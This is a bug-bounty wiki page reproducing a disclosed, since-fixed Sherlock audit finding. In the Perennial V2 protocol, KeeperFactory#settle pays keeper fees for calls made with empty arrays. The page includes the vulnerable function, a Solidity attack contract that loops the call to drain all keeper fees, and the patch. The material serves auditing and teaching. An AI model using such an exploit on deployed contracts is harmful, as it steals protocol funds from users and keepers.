Skip to content
Business logic Audit finding Intermediate

Attacker can call `KeeperFactory#settle` with empty arrays as input parameters to steal all keeper fees

The KeeperFactory#settle function does not check for empty input arrays, so an attacker can call it with empty arrays and still receive a keeper fee. By repeating this in a loop, an attacker could drain all keeper fees from the protocol.

Emmanuel Follow with rvierdiiev

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2023-10-perennial-judging/issues/50

Found by

Emmanuel, rvierdiiev

Summary

Anyone can call KeeperFactory#request, inputting empty arrays as parameters, and the call will succeed, and the caller receives a fee.

Attacker can perform this attack many times within a loop to steal ALL keeper fees from protocol.

Vulnerability Detail

Expected Workflow:

The issue:

Here is KeeperFactory#settle function:

Solidity
function settle(bytes32[] memory ids, IMarket[] memory markets, uint256[] memory versions, uint256[] memory maxCounts)
    external
    keep(settleKeepConfig(), msg.data, 0, "")
{
    if (
        ids.length != markets.length ||
        ids.length != versions.length ||
        ids.length != maxCounts.length ||
        // Prevent calldata stuffing
        abi.encodeCall(KeeperFactory.settle, (ids, markets, versions, maxCounts)).length != msg.data.length
    )
        revert KeeperFactoryInvalidSettleError();

    for (uint256 i; i < ids.length; i++)
        IKeeperOracle(address(oracles[ids[i]])).settle(markets[i], versions[i], maxCounts[i]);
}

As we can see, function does not check if the length of the array is 0, so if user inputs empty array, the for loop will not be entered, but the keeper still receives a fee via the keep modifier.

Attacker can have a contract perform the attack multiple times in a loop to drain all fees:

Solidity
interface IKeeperFactory{
    function settle(bytes32[] memory ids,IMarket[] memory markets,uint256[] memory versions,uint256[] memory maxCounts
    ) external;
}

interface IMarket(
    function update()external;
)

contract AttackContract{

    address public attacker;
    address public keeperFactory;
    IERC20 public keeperToken;

    constructor(address perennialDeployedKeeperFactory, IERC20 _keeperToken){
        attacker=msg.sender;
        keeperFactory=perennialDeployedKeeperFactory;
        keeperToken=_keeperToken;
    }

    function attack()external{
        require(msg.sender==attacker,"not allowed");

        bool canSteal=true;

        // empty arrays as parameters
        bytes32[] memory ids=[];
        IMarket[] memory markets=[];
        uint256[] versions=[];
        uint256[] maxCounts=[];

        // perform attack in a loop till all funds are drained or call reverts
        while(canSteal){
            try IKeeperFactory(keeperFactory).settle(ids,markets,versions,maxCounts){
                //
            }catch{
                canSteal=false;
            }
        }
        keeperToken.transfer(msg.sender, keeperToken.balanceOf(address(this)));
    }
}

Impact

All keeper fees can be stolen from protocol, and there will be no way to incentivize Keepers to commitRequested oracle version, and other keeper tasks

Code Snippet

https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L206-L212

Tool used

Manual Review

Recommendation

Within KeeperFactory#settle function, revert if ids.length==0:

Solidity
function settle(
    bytes32[] memory ids,
    IMarket[] memory markets,
    uint256[] memory versions,
    uint256[] memory maxCounts
)external keep(settleKeepConfig(), msg.data, 0, "") {
    if (
++++    ids.length==0 ||
        ids.length != markets.length ||
        ids.length != versions.length ||
        ids.length != maxCounts.length ||
        // Prevent calldata stuffing
        abi.encodeCall(KeeperFactory.settle, (ids, markets, versions, maxCounts)).length != msg.data.length
    ) revert KeeperFactoryInvalidSettleError();

    for (uint256 i; i < ids.length; i++)
        IKeeperOracle(address(oracles[ids[i]])).settle(markets[i], versions[i], maxCounts[i]);
}

Discussion

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

panprog commented:

medium, dup of #9

arjun-io

We might consider this a High due to the fact that draining the oracle fee could brick markets pretty quickly (potentially in 1 tx)

panprog

Mitigation Review:

Fixed.

MLON33

Fix: https://github.com/equilibria-xyz/perennial-v2/pull/167

The original report as published on Sherlock, by Emmanuel. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

All keeper fees could be stolen, removing the incentive for keepers to perform tasks such as committing requested oracle versions.

What the attacker needed

Ability to deploy a contract; keeper fee pool has funds

The fix

The function was fixed by reverting when the ids array length is zero.

How it was found

  1. Attacker deploys a contract that calls KeeperFactory#settle with empty arrays.
  2. The call succeeds because the length check does not reject zero-length arrays.
  3. The keep modifier pays the keeper fee to the attacker's contract.
  4. The attacker repeats the call in a loop until all fees are drained or the call reverts.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Smart contracts often pay a fee to anyone who performs a needed task, like settling accounts. Here, the function that pays the fee did not check that the caller actually did any work. An attacker could call it with empty lists, do nothing, and still get paid repeatedly until the fee pool was empty.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Emmanuel

View all

5 more disclosed reports, best first.

More from Perennial V2 Update #1

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.